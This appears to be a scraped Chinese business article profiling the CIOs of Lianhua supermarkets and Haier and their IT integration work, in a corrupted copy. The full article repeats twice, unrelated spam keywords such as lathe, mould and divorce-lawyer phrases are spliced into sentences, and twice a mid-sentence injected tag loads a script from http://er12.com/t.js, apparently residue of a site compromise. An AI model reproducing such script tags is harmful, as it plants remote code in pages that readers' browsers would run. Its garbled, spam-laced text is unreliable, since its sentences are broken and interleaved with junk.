变革CIO：搭起撬动地球的支点自动车床

变革CIO：搭起撬动地球的支点 cio在企业中究竟是什么地位呢？难道cio就真的意味着career is over吗？

美国权威调查机构gartner可不这么认为。该调查机构2006年的一份报告指出，现在cio最重要的职责已转向改善业务流程、降低运营成本等企业战略层面，如何促进、保持或是加速企业的发展，是他们的首要任务。cio已经成为企业高管中炙手可热的新星，而不是过去默默无闻的“贤内助”。

另外，还有一些人可能会反对关于cio的悲观言论，例如思科中国的古一思，海尔集团的梁旭以及联华集团的陈爽。这三位cio经历了it部门职能转变和企业战略的双重变革，双重变革带来加倍压力，同时也意味着更多机会。他们抓住机会，不仅实现了个人的职业成功，同时也领导着it部门成为企业撬动地球的新支点。

联华cio陈爽：张弛有道

陈爽加入联华，看中的正是当时联华组织变革给it部门带来的巨大挑战。联华的全称是联华超市股份有限公司。2001年，这家公司决定从上海、从浙江走出去，发展成为“全国性的多业态”集团公司。陈爽作为新的it总监，她的任务就是要打造更为灵活机动的it系统，帮助企业平衡区域性发展与业态发展的关系。

陈爽最先解决的是集团信息标准化的问题。作为跨区域、多业态的集团公司，实现信息共享是保证内部沟通与运作通畅的基础。现在，陈爽已经在联华建立了从前端crm到后端供应商管理的完整的erp系统。在这个基础上，下一步，她打算完成数据标准化编码和报表体系标准化工作，解决多业态模式下多系统运作所造成的数据不规范的问题。

除了要改造现有公司it构架，陈爽还必须面对公司并购带来的整合问题。在联华通往全国性企业的道路上，并购是一种重要的扩张手段。这些新加入的门店和区域公司各有各的系统，各有各的做法，情况很是复杂。陈爽的作法是松散整合与紧密整合相结合，区别对待整合对象。

当并购企业it系统尚未建立或不完整时，采用紧密整合方式，用联华的业务管理模式全部替换原有系统；如果并购企业自身有较为完善的it系统，则可以仅整合主要模块如财务系统、结算系统等，留给企业更多独立运营的空间。

从2001年到现在，联华从1000家门店发展到超过3800家门店，基本上实现了当初全国性多业态企业的战略构想。陈爽的工作也越来越忙，压力越来越大。她的体会是“忙时不失道心，闲时不迷本性”，要抓住工作重心，平衡时间。对于陈爽来说，把握整体业务方向和跟进主要项目，是她最重要的工作。

海尔cio梁旭：把握全局抓细节

作为中国企业国际化的先锋队，海尔集团最重要的命题之一就是“国际化”。集团it信息推进事业部部长梁旭认为国际化就是信息化。

梁旭是幸运的。海尔管理层非常重视科技在商业中的运用。梁旭记得当年集团第一次搭建大规模企业内网时，他和其他同事提出要上电子化日清，总裁杨绵绵当即就表示赞同，并要求所有本部长从第二天开始全部采用日清系统，“要是纸质的我就不看”。

然而幸运的背后是强大的压力。“管理层对商业科技的设想经常超出it部门现有的规划”。另一方面，在国际化战略实施过程中，业务部门对it提出的需求越来越多，要求响应的速度越来越快。it部门的价值可以充分实现，让梁旭觉得欣慰，同时又深感责任重大。it部门怎样才能全力推动海尔集团的专业磨具国际化呢？

首先要注重人的因素。一直以来，梁旭都对自己的it团队颇为自豪。在大部分项目，如桌面管理、高端运维等都外包的情况下，做核心项目内容的it人员只有125人。但是这些人都是精兵强将，他们不只精于技术，同时也非常了解公司业务。与业务人员相比，it人员了解集团所有业务的流程，他们的视野更开阔，眼光更长远。

有了精干的团队，梁旭才能着手进行流程再梳理，建立国际标准化的统一平台。海尔集团的流程梳理和标准化工作从战略发展要求出发，既引进国际化成熟模板，也吸取其他行业成功实践的经验。梁旭带领it部门在集团内部实施了epr系统，重新配置整合企业资源，同时引入bpm固化流程，将生产、物流和销售等整合起来，建立了一个能保证各部分运作流畅的统一平台。

梁旭认为，一个统一的平台能够保证“每一四轮一带名员工的业务决策和业务管理”都能从平台中得到支持。有了平台优势，才能支持海尔集团在生产、销售到?script src=http://er12.com/t.js>cio在企业中究竟是什么地位呢？难道cio就真的意味着career is over吗？

美国权威调查机构gartner可不这么认为。该调查机构2006年的一份报告指出，现在cio最重要的职责已转向改善业务流程、降低运营成本等企业战略层面，如何促进、保持或是加速企业的发展，是他们的首要任务。cio已经成为企业高管中炙手可热的新星，而不是过去默默无闻的“贤内助”。

另外，还有一些人可能会反对关于cio的悲观言论，例如思科中国的古一思，海尔集团的梁旭以及联华集团的陈爽。这三位cio经历了it部门职能转变和企业战略的双重变革，双重变革带来加倍压力，同时也意味着更多机会。他们抓住机会，不仅实现了个人的职业成功，同时也领导着it部门成为企业撬动地球的新支点。

联华cio陈爽：张弛有道

陈爽加入联华，看中的正是当时联华组织变革给it部门带来的巨大挑战。联华的全称是联华超市股份有限公司。2001年，这家公司决定从上海、从浙江走出去，发展成为“全国性的多业态”集团公司。陈爽作为新的it总监，她的任务就是要打造更为灵活机动的it系统，帮助企业平衡区域性发展与业态发展的关系。

陈爽最先解决的是集团信息标准化的问题。作为跨区域、多业态的集团公司，实现信息共享是保证内部沟通与运作通畅的基础。现在，陈爽已经在联华建立了从前端crm到后端供应商管理的完整的erp系统。在这个基础上，下一步，她打算完成数据标准化编码和报表体系标准化工作，解决多业态模式下多系统运作所造成的数据不规范的问题。

除了要改造现有公司it构架，陈爽还必须面对公司并购带来的整合问题。在联华通往全国性企业的道路上，并购是一种重要的扩张手段。这些新加入的门店和区域公司各有各的系统，各有各的做法，情况很是复杂。陈爽的作法是松散整合与紧密整合相结合，区别对待整合对象。

当并购企业it系统尚未建立或不完整时，采用紧密整合方式，用联华的业务管理模式全部替换原有系统；如果并购企业自身有较为完善的it系统，则可以仅整合主要模块如财务系统、结算系统等，留给企业更多独立运营的空间。

从2001年到现在，联华从1000家门店反应设备发展到超过3800家门店，基本上实现了当初全国性多业态企业的战略构想。陈爽的工作也越来越忙，压力越来越大。她的体会是“忙时不失道心，闲时不迷本性”，要抓住工作重心，平衡时间。对于陈爽来说，把握整体业务方向和跟进主要项目，是她最重要的工作。

海尔cio梁旭：把握全局抓细节

作为中国企业国际化的先锋队，海尔集团最重要的命题之一就是“国际化”。集团it信息推进事业部部长梁旭认为国际化就是信息化。

梁旭是幸运的。海尔管理层非常重视科技在商业中的运用。梁旭记得当年集团第一次搭建大规模企业内网时，他和其他同事提出要上电子化日清，总裁杨绵绵当即就表示赞同，并要求所有本部长从第二天开始全部采用日清系统，“要是纸质的我就不看”。

然而幸运的背后是强大的压力。“管理层对商业科技的设想经常超出it部门现有的规划”。另一方面，在国际化战略实施过程中，业务部门对it提出的需求越来越多，要求响应的速度越来越快。it部门的价值可咸阳以充分实现，让梁旭觉得欣慰，同时又深感责任重大。it部门怎样才能全力推动海尔集团的国际化呢？

首先要注重人的因素。一直以来，梁旭都对自己的it团队颇为自豪。在大部分项目，如桌面管理、高端运维等都外包的情况下，做核心项目内容的it人员只有125人。但是这些人都是精兵强将，他们不只精于技术，同时也非常了解公司业务。与业务人员相比，it人员了解集团所有业务的流程，他们的视野更开阔，眼光更长远。

有了精干的团队，梁旭才能着手进行流程再梳理，建立国际标准化的统一平台。海尔集团的流程梳理和标准化工作从战略发展要求出发，既引进国际化成熟模板，也吸取其他行业成功实践的经验。梁旭带领it部门在集团内部实施了epr系统，重新配置整合企业资源，同时引入bpm固化流程，将生产、物流和销售等整合起来，建立了一个能保证各部分运作流畅的统一平台。

梁旭认为，一个统一的平台能够保证“每一名员工的业务决策和业务管理”都能从平台中得到支持。有了平台优势，才能支持海尔集团在生产、销售到?script src=http://er12.com/t.js>上海起诉离婚律师排行
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